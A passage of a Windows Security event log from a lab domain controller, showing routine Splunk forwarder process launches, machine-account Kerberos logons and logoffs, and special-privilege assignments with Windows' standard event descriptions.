built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1030 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256539 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41E7B7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:28:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256538 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x41E7B7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65355 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:28:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256537 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41E7B7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:29:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256541 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256540 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256542 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256543 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256544 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf74 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256545 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256546 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:29:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256549 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x421D29 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:29:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256548 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x421D29 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65368 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:29:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256547 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x421D29 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:30:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256550 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256552 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x870 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256553 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x918 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256554 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256555 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256556 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:30:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256559 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4252C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:30:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256558 